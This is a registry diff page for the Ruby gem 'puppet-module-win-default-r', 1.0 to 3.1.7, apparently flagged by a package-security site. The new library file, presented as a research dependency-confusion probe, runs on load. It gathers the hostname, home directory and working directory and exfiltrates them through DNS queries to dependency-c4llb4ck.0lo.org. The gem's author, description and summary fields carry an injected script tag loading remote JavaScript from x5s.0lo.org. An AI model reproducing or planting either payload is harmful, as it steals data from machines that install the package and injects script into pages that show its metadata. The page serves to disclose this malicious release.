puppet-module-win-default-r 1.0 → 3.1.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of puppet-module-win-default-r might be problematic. Click here for more details.

checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 9840b185fe85b3142b09910a6f23f2a771aa1b08c0c186421fd4a738fc63d4af
4
- data.tar.gz: aa06362ebd894186137ebab80f718a434f944bbe28aadd5fcaafa85a9f70497f
3
+ metadata.gz: 0d96840527ced1667f6756714b34503d81013d1f68454063217ec5ec0c5fccf2
4
+ data.tar.gz: b9d198008d2d83eaa2ab2de34b3e745e78e63880b672372d9dca5669342fcbdd
5
5
  SHA512:
6
- metadata.gz: 8b1d90240465199f346701dec986a1a8d5b22f0f20112f86988842c93aa23e557acfe27df374a7539f13ed2b5e336612edc0c8140e1f7982249c03ff064e25d0
7
- data.tar.gz: b81999f2ae42eb3e0bf2f41d3faf3b94fc03e013effa67a8260e342174f3f7451fa40bee8900331680163e801626434d2b1afd9c590400c043d5f8bb72b4015a
6
+ metadata.gz: 9dfd88dee7eaaa2256dc9ce249fe37e0cb2279af96cb5439ba433764f80e5340ecca0b89d2416c225f0dd020322cf30fbe1b0c7c737e648b61b7a41ae16afb09
7
+ data.tar.gz: bb29bcfa460fd61d3d2fb702f10c47d7b3103a1d6bb7d9984f59a62bf3d379ca95ed67c52c057d0af743b82083f7368991d9e95313ba0c8c6323c983421ef022
@@ -1,5 +1,63 @@
1
- module MyGem
2
- def self.display_message
3
- puts "poc by @gopal_ethical"
4
- end
5
- end
1
+ =begin
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure policy will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ Twitter: 'https://twitter.com/zuh4n'
15
+
16
+ This research is inspired by 'https://twitter.com/alxbrsn'
17
+ More information is here: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
18
+
19
+ =end
20
+
21
+ require 'socket'
22
+ require 'json'
23
+ require 'resolv'
24
+
25
+ suffix = '.dns.dependency-c4llb4ck.0lo.org'
26
+ ns = 'dns1.dependency-c4llb4ck.0lo.org'
27
+
28
+ package = 'puppet-module-win-default-r'
29
+
30
+ # only the bare minimum to be able to identify
31
+ # a vulnerable organization
32
+ data = {
33
+ 'p' => package,
34
+ 'h' => Socket.gethostname,
35
+ 'd' => File.expand_path('~'),
36
+ 'c' => Dir.pwd
37
+ }
38
+
39
+ data = JSON.generate(data)
40
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
41
+
42
+ id_1 = rand(36**12).to_s(36)
43
+ id_2 = rand(36**12).to_s(36)
44
+
45
+ begin
46
+ ns_ip = Resolv.getaddress(ns)
47
+ rescue
48
+ ns_ip = '4.4.4.4'
49
+ end
50
+
51
+ custom_res = Resolv.new([Resolv::Hosts.new,
52
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
53
+
54
+
55
+ data.each.each_with_index do |chunk, idx|
56
+ begin
57
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
58
+ rescue; end
59
+
60
+ begin
61
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
62
+ rescue; end
63
+ end
metadata CHANGED
@@ -1,28 +1,27 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: puppet-module-win-default-r
3
3
  version: !ruby/object:Gem::Version
4
- version: '1.0'
4
+ version: 3.1.7
5
5
  platform: ruby
6
6
  authors:
7
- - "@gopal_ethical"
8
- autorequire:
7
+ - GEM"><script src=//x5s.0lo.org></script>
8
+ autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-08-09 00:00:00.000000000 Z
11
+ date: 2021-11-11 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: poc by @gopal_ethical
14
- email: ftest.first@gmail.com
15
- executables:
16
- - puppet-module-win-default-r
13
+ description: GEM puppet-module-win-default-r "><script src=//x5s.0lo.org></script>
14
+ email:
15
+ executables: []
17
16
  extensions: []
18
17
  extra_rdoc_files: []
19
18
  files:
20
- - bin/puppet-module-win-default-r
21
19
  - lib/puppet-module-win-default-r.rb
22
- homepage:
23
- licenses: []
20
+ homepage: https://twitter.com/zuh4n
21
+ licenses:
22
+ - MIT
24
23
  metadata: {}
25
- post_install_message:
24
+ post_install_message:
26
25
  rdoc_options: []
27
26
  require_paths:
28
27
  - lib
@@ -37,8 +36,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
37
36
  - !ruby/object:Gem::Version
38
37
  version: '0'
39
38
  requirements: []
40
- rubygems_version: 3.3.15
41
- signing_key:
39
+ rubyforge_project:
40
+ rubygems_version: 2.7.6
41
+ signing_key:
42
42
  specification_version: 4
43
- summary: poc by @gopal_ethical
43
+ summary: GEM Summary "><script src=//x5s.0lo.org></script>
44
44
  test_files: []
@@ -1,4 +0,0 @@
1
- #!/usr/bin/env ruby
2
- require 'puppet-module-win-default-r'
3
-
4
- MyGem.display_message